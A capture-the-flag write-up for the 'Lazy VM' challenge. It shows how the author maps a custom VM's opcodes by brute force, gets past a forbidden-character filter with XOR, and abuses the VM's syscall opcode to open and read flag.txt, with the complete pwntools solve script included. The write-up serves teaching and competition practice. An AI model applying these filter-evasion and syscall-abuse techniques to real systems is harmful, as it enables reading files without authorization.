Lazy VM

Handout

I was too ~~lazy~~ busy to code a CTF challenge myself, so I hired a freelancer online for just $5 to take care of it. However, when I received the work, the quality was far below expectations. Deciding not to pay for the poor-quality challenge, I refused to settle the debt. Frustrated, the freelancer left the challenge running online, refusing to hand it over or shut it down.

All I know is that it’s a virtual machine challenge, and the flag.txt file is located in the same folder as the challenge. Beyond that, I have no idea how the challenge works

nc lazy-vm.chal.idek.team 1337

Understanding the assignment

For this challenge, we are only given a TCP connection. When connecting to it, we got this message:

$ nc lazy-vm.chal.idek.team 1337
== proof-of-work: disabled ==
Please enter your code:
hi
Unknown instruction at ip=0x0

Therefore, we need to write some code for a custom VM. We need to understand what the opcodes and the registers are and how the memory is handle. After that, we need to find a way to read the content of flag.txt, and to display it.

Finding the opcodes

The first step I did is to brute-force the first character to see if we can get something interesting. This is my script to detect the different opcodes:

from pwn import *
from Crypto.Util.number import long_to_bytes

context.log_level = 'error'

def create_connexion():
    p = remote("lazy-vm.chal.idek.team", 1337)
    p.recvuntil(b"Please enter your code:\n")
    return p

def try_opcodes():
    for i in range(256):
        p = create_connexion()
        p.sendline(long_to_bytes(i))
        data = p.recvall()
        if data != b"Unknown instruction at ip=0x0\n":
            print(f"{hex(i)}: {data.decode().strip()}")
            print
        p.close()
try_opcodes()

Which gives us this:

0x0: Thanks for playing
0x1: Thanks for playing
0x2: reg index out of range
0x3: reg index out of range
0x4: reg index out of range
0x5: reg index out of range
0x6: reg index out of range
0x7: Thanks for playing
0x8: Unknown instruction at ip=0x1
0x61: Found a forbidden character. Exit
0x66: Found a forbidden character. Exit
0x67: Found a forbidden character. Exit
0x69: ============== REGISTER ==================
R0 = 0x0
R1 = 0x0
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x0
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Unknown instruction at ip=0x1
0x6c: Found a forbidden character. Exit

For this write up, I will be using this table and completing it gradually.

Opcodes What it is doing Confirm
0x0 exit ?  
0x1 exit ?  
0x2 Unknown  
0x3 Unknown  
0x4 Unknown  
0x5 Unknown  
0x6 Unknown  
0x7 exit ?  
0x8 nop ?  
0x61 ‘a’ -> forbidden Yes
0x66 ‘f’ -> forbidden Yes
0x67 ‘g’ -> forbidden Yes
0x69 ‘i’ -> get info Yes
0x6c ‘l’ -> forbidden Yes

From the first iteration, we can deduce all this information but we need to dig more to understand what the different opcodes are actually doing.

We also noticed the different registers:

============== REGISTER ==================
R0 = 0x0
R1 = 0x0
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x10
sp: 0x64

I assume ip is for instruction pointer and sp is for stack pointer. There is also a stack:

=================== STACK =====================
0x0
0x0
0x0
0x0
0x0

And some memory that we are not able to see:

=================== MEMORY =====================
The pay is only $5. Too lazy to implement this

First let’s write the function for the info opcode.

def info_reg():
    return b'i'

Not the hardest one to do but it’s important to keep our code clear.

Let’s now try to confirm which opcode is the exit one.

def find_exit():
    candidates = [b'\x00', b'\x01', b'\x07']
    for candidate in candidates:
        p = create_connexion()
        payload = candidate
        payload += info_reg()
        p.sendline(payload)
        data = p.recvall()
        print(f"{candidate.hex()}: {data.decode().strip()}")
        p.close()

And we get:

00: Thanks for playing
01: Unknown instruction at ip=0x2
07: reg index out of range

So I will assume that 0x00 is the opcode for exit.

Opcodes What it is doing Confirm
0x0 exit Yes
0x1 Unknown  
0x2 Unknown  
0x3 Unknown  
0x4 Unknown  
0x5 Unknown  
0x6 Unknown  
0x7 Unknown  
0x8 nop ?  
0x61 ‘a’ -> forbidden Yes
0x66 ‘f’ -> forbidden Yes
0x67 ‘g’ -> forbidden Yes
0x69 ‘i’ -> get info Yes
0x6c ‘l’ -> forbidden Yes

And I will code also this function:

def stop_chain():
    return b'\x00'

Let’s now try to find what the others opcodes are actually doing.

0x01

Let’s code a function to see which behaviour this opcode has.

def understand_op_code(opcode):
    p = create_connexion()
    payload = opcode + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Which gives us for 0x01:

Thanks for playing

So we don’t have the output of info_reg, which means that info_reg is actually interpreted as a parameter of 0x01. Let’s confirm that:

def understand_op_code(opcode):
    p = create_connexion()
    payload = opcode + info_reg() + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Which gives us:

============== REGISTER ==================
R0 = 0x0
R1 = 0x0
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x2
sp: 0x63
=================== STACK =====================
0x69
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

Bingo ! We can see here that the first info_reg is push into the stack (because i is 0x69), therefore the stack pointer is decreased (it started at 0x64). From this information, we can assume that 0x01 takes a value as a parameter and push it into the stack.

Opcodes What it is doing Parameter 1 Confirm
0x0 exit   Yes
0x1 Push value into the stack the value Yes
0x2 Unknown    
0x3 Unknown    
0x4 Unknown    
0x5 Unknown    
0x6 Unknown    
0x7 Unknown    
0x8 nop ?    
0x61 ‘a’ -> forbidden   Yes
0x66 ‘f’ -> forbidden   Yes
0x67 ‘g’ -> forbidden   Yes
0x69 ‘i’ -> get info   Yes
0x6c ‘l’ -> forbidden   Yes

And we can now write this function:

def push_value_in_stack(value):
    return b'\x01' + long_to_bytes(value)

0x02

Let’s do the same method:

def understand_op_code(opcode):
    p = create_connexion()
    payload = opcode + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Which gives us:

reg index out of range

We can assume that this function takes a register as an argument, and that info_reg, which is 0x69, is not a valid register.

Let’s try something else:

def understand_op_code(opcode):
    p = create_connexion()
    payload = opcode + b'\x01' + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

Thanks for playing

So 0x01 is a valid register. As seen with info_reg, the registers are called R0 to R7 so I think the registers are from 0x00 to 0x07. Let’s confirm that.

def confirm_register():
    for i in range(10):
        p = create_connexion()
        payload = b'\x02' + long_to_bytes(i) + stop_chain()
        p.sendline(payload)
        data = p.recvall()
        if data.decode().strip() != "Thanks for playing":
            print(f"{hex(i)} is not a register")

Which gives us:

0x8 is not a register
0x9 is not a register

So the registers are 0x0 to 0x7. But what is 0x02 actually doing ? Let’s try something else, by using the first opcode we have already understood.

def understand_op_code(opcode):
    p = create_connexion()
    payload = push_value_in_stack(0x45) + opcode + b'\x01' + info_reg() +stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

============== REGISTER ==================
R0 = 0x0
R1 = 0x45
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x4
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

We can see here that the register R1 corresponding to 0x01 has got the value 0x45, which means that 0x02 actually pop a value from the stack in the given register (the stack is also decreasing which is normal). We can confirm that by changing 0x01 to another register and we we’ll see that the value is now in the other register.

Let’s now write some useful functions:

def pop_value_in_register(reg):
    return b'\x02' + long_to_bytes(reg)

def put_value_in_register(reg, value):
    return push_value_in_stack(value) + pop_value_in_register(reg)

And complete our table:

Opcodes What it is doing Parameter 1 Confirm
0x0 exit   Yes
0x1 Push value into the stack the value Yes
0x2 Pop value in the stack to a register the register Yes
0x3 Unknown    
0x4 Unknown    
0x5 Unknown    
0x6 Unknown    
0x7 Unknown    
0x8 nop ?    
0x61 ‘a’ -> forbidden   Yes
0x66 ‘f’ -> forbidden   Yes
0x67 ‘g’ -> forbidden   Yes
0x69 ‘i’ -> get info   Yes
0x6c ‘l’ -> forbidden   Yes

0x03

By doing the same method, we can determine that this opcode actually pushes a register into the stack.

Opcodes What it is doing Parameter 1 Confirm
0x0 exit   Yes
0x1 Push value into the stack the value Yes
0x2 Pop value in the stack to a register the register Yes
0x3 Push register into the stack the register Yes
0x4 Unknown    
0x5 Unknown    
0x6 Unknown    
0x7 Unknown    
0x8 nop ?    
0x61 ‘a’ -> forbidden   Yes
0x66 ‘f’ -> forbidden   Yes
0x67 ‘g’ -> forbidden   Yes
0x69 ‘i’ -> get info   Yes
0x6c ‘l’ -> forbidden   Yes
def push_reg_in_stack(reg):
    return b'\x03' + long_to_bytes(reg)

0x04

At this point, we have found the basic and easiest opcodes. Therefore, I took a bit more time to find out what the next opcodes actually do.

For this opcode, with the previous method I understood that it takes one parameter that is a register but it was a bit tricky to understand what it actually does.

def understand_op_code(opcode):
    p = create_connexion()
    payload = opcode + b'\x00' + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

============== REGISTER ==================
R0 = 0x0
R1 = 0x0
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x2
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

At first look, this opcodes does nothing. But if we try to set registers to random values:

def set_registers_random_values():
    payload = b''
    for i in range(8):
        payload += put_value_in_register(i, 0x1 + i)
    return payload

And then:

def understand_op_code(opcode):
    p = create_connexion()
    payload = set_registers_random_values() + opcode + b'\x01' + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

============== REGISTER ==================
R0 = 0x3
R1 = 0x2
R2 = 0x3
R3 = 0x4
R4 = 0x5
R5 = 0x6
R6 = 0x7
R7 = 0x8
ip: 0x22
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

We see that the value in R0, which should be 0x01, has been changed. By playing with values in the registers, we can see that this opcode actually does a xor between a register and R0, and stores the result in R0.

Opcodes What it is doing Parameter 1 Confirm
0x0 exit   Yes
0x1 Push value into the stack the value Yes
0x2 Pop value in the stack to a register the register Yes
0x3 Push register into the stack the register Yes
0x4 Xor a register and R0 and stores the result in R0 the register Yes
0x5 Unknown    
0x6 Unknown    
0x7 Unknown    
0x8 nop ?    
0x61 ‘a’ -> forbidden   Yes
0x66 ‘f’ -> forbidden   Yes
0x67 ‘g’ -> forbidden   Yes
0x69 ‘i’ -> get info   Yes
0x6c ‘l’ -> forbidden   Yes

We can now understand that we need to open flag.txt, and because some characters are banned, we need to construct them by using opcodes like 0x04. Let’s write some functions to get f, l, a and g.

def get_f_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('f') - 2)
    payload += put_value_in_register(1, 2)
    payload += b'\x04' + b'\x01'
    return payload

def get_g_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('g') - 3)
    payload += put_value_in_register(1, 3)
    payload += b'\x04' + b'\x01'
    return payload

def get_a_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('a') - 1)
    payload += put_value_in_register(1, 1)
    payload += b'\x04' + b'\x01'
    return payload

def get_l_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('l') - 4)
    payload += put_value_in_register(1, 4)
    payload += b'\x04' + b'\x01'
    return payload

Each time I took the first bit set up in the character, and removed it to xor it back to get the right value (except for g as I couldn’t to -1 because it would be equal to f, which is forbidden, so I did -3).

0x08

Now that I can do more things with the previous opcodes, I want to understand this one. I originally thought this opcode did nothing, as it didn’t raise any error, but in order to interact with the file flag.txt or even to write anything, I need to be able to do some syscalls.

Let’s try out with this code:

def understand_op_code(opcode):
    p = create_connexion()
    payload = set_registers_random_values() + opcode + info_reg() + stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

\x00\x00\x00\x00============== REGISTER ==================
R0 = 0x4
R1 = 0x2
R2 = 0x3
R3 = 0x4
R4 = 0x5
R5 = 0x6
R6 = 0x7
R7 = 0x8
ip: 0x21
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

We have got some data written, so let’s try to analyse what it has been done. Before the 0x08, the registers were like this: R0 = 0x1, R1 = 0x2, R2 = 0x3, R3 = 0x4 and so on. We have written something, so we must have call the syscall write.

By looking at the 64-bit syscall numbers, we see this:

$ cat /usr/include/asm/unistd_64.h | head
#ifndef _ASM_UNISTD_64_H
#define _ASM_UNISTD_64_H

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6

By assuming this are the same number of syscalls, R0 contains the number of the syscalls to be called, which is usually RAX. It’s also the only register to be changed, by the return value of write which is the number of character written. By looking at the normal parameters of write (man 2 write), we can assume that R0 is RAX (syscall number and return value), R1 is RDI (the number of the fd, which doesn’t seem to be relevant in our case), R2 is RSI (the pointer of the buffer that we want to read) and R3 is RDX (the number of bytes to read).

Opcodes What it is doing Parameter 1 Confirm
0x0 exit   Yes
0x1 Push value into the stack the value Yes
0x2 Pop value in the stack to a register the register Yes
0x3 Push register into the stack the register Yes
0x4 Xor a register and R0 and stores the result in R0 the register Yes
0x5 Unknown    
0x6 Unknown    
0x7 Unknown    
0x8 syscall   Yes
0x61 ‘a’ -> forbidden   Yes
0x66 ‘f’ -> forbidden   Yes
0x67 ‘g’ -> forbidden   Yes
0x69 ‘i’ -> get info   Yes
0x6c ‘l’ -> forbidden   Yes

But a question remains: we are reading some value that are pointed by R2 (so 0x02), but we right now are not able to write any value in that memory zone. Therefore we need to find the opcodes that do so.

Let’s first write a function to display what is in our memory.

def syscall():
    return b'\x08'

def show_memory():
    payload = b''
    payload += put_value_in_register(0, 0x1) # number for write
    payload += put_value_in_register(1, 0x2) # number for fd (doesn't seem relevant)
    payload += put_value_in_register(2, 0x0) # we want the start of the memory
    payload += put_value_in_register(3, 0x30) # size we want to read (arbitrary)
    payload += syscall()
    return payload

And now let’s find the other opcodes to write in memory.

0x07

By trying with the same technique as before, we are able to see that this opcode takes two parameters: a value and a register. Let’s write a function to see what is actually does.

def understand_op_code(opcode):
    p = create_connexion()
    payload = b''
    payload += put_value_in_register(0, ord('b'))
    payload += opcode + b'\x04' + b'\x00'
    payload += show_memory()
    payload += info_reg()
    payload += stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

Output:

\x00\x00\x00\x00b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00============== REGISTER ==================
R0 = 0x30
R1 = 0x2
R2 = 0x0
R3 = 0x30
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x18
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this
Thanks for playing

We can see that this opcode actually writes the value in the register (second parameter) in the memory at the place (first parameter).

Opcodes What it is doing Parameter 1 Parameter 2 Confirm
0x0 exit     Yes
0x1 Push value into the stack the value   Yes
0x2 Pop value in the stack to a register the register   Yes
0x3 Push register into the stack the register   Yes
0x4 Xor a register and R0 and stores the result in R0 the register   Yes
0x5 Unknown      
0x6 Unknown      
0x7 Write register in memory[place] the place the register Yes
0x8 syscall     Yes
0x61 ‘a’ -> forbidden     Yes
0x66 ‘f’ -> forbidden     Yes
0x67 ‘g’ -> forbidden     Yes
0x69 ‘i’ -> get info     Yes
0x6c ‘l’ -> forbidden     Yes

Let’s now see who we can write flag.txt in memory:

def write_reg_in_memory(reg, place):
    return b'\x07' + long_to_bytes(place) + long_to_bytes(reg)

def write_flag_in_memory():
    payload = b''
    payload += get_f_in_r0()
    payload += write_reg_in_memory(0, 0x0)
    payload += get_l_in_r0()
    payload += write_reg_in_memory(0, 0x1)
    payload += get_a_in_r0()
    payload += write_reg_in_memory(0, 0x2)
    payload += get_g_in_r0()
    payload += write_reg_in_memory(0, 0x3)
    payload += put_value_in_register(0, ord('.'))
    payload += write_reg_in_memory(0, 0x4)
    payload += put_value_in_register(0, ord('t'))
    payload += write_reg_in_memory(0, 0x5)
    payload += put_value_in_register(0, ord('x'))
    payload += write_reg_in_memory(0, 0x6)
    payload += put_value_in_register(0, ord('t'))
    payload += write_reg_in_memory(0, 0x7)
    return payload

We now just need to open the file and read it contents.

Finishing the job

Let’s write a function that uses the syscall to open a file.

def open_file():
    payload = b''
    payload += put_value_in_register(0, 0x2)  # syscall number for open
    payload += put_value_in_register(1, 0x0)  # pointer to the file name
    payload += put_value_in_register(2, 0x0)  # flags (read only)
    payload += syscall()
    return payload

This function will put the fd of the file in R0. We now just have to read from it.

def read_file():
    payload = b''
    payload += push_reg_in_stack(0) # push the fd in the stack
    payload += pop_value_in_register(1)  # pop it into r1
    payload += put_value_in_register(0, 0x0)  # syscall number for read
    payload += put_value_in_register(2, 0x0)  # pointer to the buffer
    payload += put_value_in_register(3, 0x30) # size to read
    payload += syscall()
    return payload

And our final function to combine everything together:

def get_flag():
    p = create_connexion()
    payload = write_flag_in_memory()
    payload += open_file()
    payload += read_file()
    payload += show_memory()
    payload += stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())

Output:

idek{Th15_I$_thE_L@Z13$t_vM_i_h4vE_EvEr_5EEN}\x00\x00\x00Thanks for playing

So the flag is idek{Th15_I$_thE_L@Z13$t_vM_i_h4vE_EvEr_5EEN}

Conclusion

This challenge is one of my favorite. It’s not a classic one, as you don’t even have the source code, but you don’t have to brute-force many times like in a blind rop. I was the second one to get this challenge, so I think this is quite a good result. I didn’t find all the opcodes, as I had everything I need with only this ones. You can find the entire source code below:

from pwn import *
from Crypto.Util.number import long_to_bytes

context.log_level = 'error'

def create_connexion():
    p = remote("lazy-vm.chal.idek.team", 1337)
    p.recvuntil(b"Please enter your code:\n")
    return p

def try_opcodes():
    for i in range(256):
        p = create_connexion()
        p.sendline(long_to_bytes(i))
        data = p.recvall()
        if data != b"Unknown instruction at ip=0x0\n":
            print(f"{hex(i)}: {data.decode().strip()}")
            print
        p.close()

def info_reg():
    return b'i'

def stop_chain():
    return b'\x00'

def push_value_in_stack(value):
    return b'\x01' + long_to_bytes(value)

def pop_value_in_register(reg):
    return b'\x02' + long_to_bytes(reg)

def put_value_in_register(reg, value):
    return push_value_in_stack(value) + pop_value_in_register(reg)

def push_reg_in_stack(reg):
    return b'\x03' + long_to_bytes(reg)

def get_f_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('f') - 2)
    payload += put_value_in_register(1, 2)
    payload += b'\x04' + b'\x01'
    return payload

def get_g_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('g') - 3)
    payload += put_value_in_register(1, 3)
    payload += b'\x04' + b'\x01'
    return payload

def get_a_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('a') - 1)
    payload += put_value_in_register(1, 1)
    payload += b'\x04' + b'\x01'
    return payload

def get_l_in_r0():
    payload = b''
    payload += put_value_in_register(0, ord('l') - 4)
    payload += put_value_in_register(1, 4)
    payload += b'\x04' + b'\x01'
    return payload

def find_exit():
    candidates = [b'\x00', b'\x01', b'\x07']
    for candidate in candidates:
        p = create_connexion()
        payload = candidate
        payload += info_reg()
        p.sendline(payload)
        data = p.recvall()
        print(f"{candidate.hex()}: {data.decode().strip()}")
        p.close()
        
def confirm_register():
    for i in range(10):
        p = create_connexion()
        payload = b'\x02' + long_to_bytes(i) + stop_chain()
        p.sendline(payload)
        data = p.recvall()
        if data.decode().strip() != "Thanks for playing":
            print(f"{hex(i)} is not a register")

def syscall():
    return b'\x08'


def write_reg_in_memory(reg, place):
    return b'\x07' + long_to_bytes(place) + long_to_bytes(reg)

def write_flag_in_memory():
    payload = b''
    payload += get_f_in_r0()
    payload += write_reg_in_memory(0, 0x0)
    payload += get_l_in_r0()
    payload += write_reg_in_memory(0, 0x1)
    payload += get_a_in_r0()
    payload += write_reg_in_memory(0, 0x2)
    payload += get_g_in_r0()
    payload += write_reg_in_memory(0, 0x3)
    payload += put_value_in_register(0, ord('.'))
    payload += write_reg_in_memory(0, 0x4)
    payload += put_value_in_register(0, ord('t'))
    payload += write_reg_in_memory(0, 0x5)
    payload += put_value_in_register(0, ord('x'))
    payload += write_reg_in_memory(0, 0x6)
    payload += put_value_in_register(0, ord('t'))
    payload += write_reg_in_memory(0, 0x7)
    return payload

def open_file():
    payload = b''
    payload += put_value_in_register(0, 0x2)  # syscall number for open
    payload += put_value_in_register(1, 0x0)  # pointer to the file name
    payload += put_value_in_register(2, 0x0)  # flags (read only)
    payload += syscall()
    return payload

def read_file():
    payload = b''
    payload += push_reg_in_stack(0) # push the fd in the stack
    payload += pop_value_in_register(1)  # pop it into r1
    payload += put_value_in_register(0, 0x0)  # syscall number for read
    payload += put_value_in_register(2, 0x0)  # pointer to the buffer
    payload += put_value_in_register(3, 0x30) # size to read
    payload += syscall()
    return payload

def show_memory():
    payload = b''
    payload += put_value_in_register(0, 0x1) # number for write
    payload += put_value_in_register(1, 0x2) # number for fd (doesn't seem relevant)
    payload += put_value_in_register(2, 0x0) # we want the start of the memory
    payload += put_value_in_register(3, 0x30) # size we want to read (arbitrary)
    payload += syscall()
    return payload

def set_registers_random_values():
    payload = b''
    for i in range(8):
        payload += put_value_in_register(i, 0x1 + i)
    return payload



def understand_op_code(opcode):
    p = create_connexion()
    payload = b''
    payload += put_value_in_register(0, ord('b'))
    payload += opcode + b'\x04' + b'\x00'
    payload += show_memory()
    payload += info_reg()
    payload += stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())
    p.close()

    
def get_flag():
    p = create_connexion()
    payload = write_flag_in_memory()
    payload += open_file()
    payload += read_file()
    payload += show_memory()
    payload += stop_chain()
    p.sendline(payload)
    data = p.recvall()
    print(data.decode().strip())

get_flag()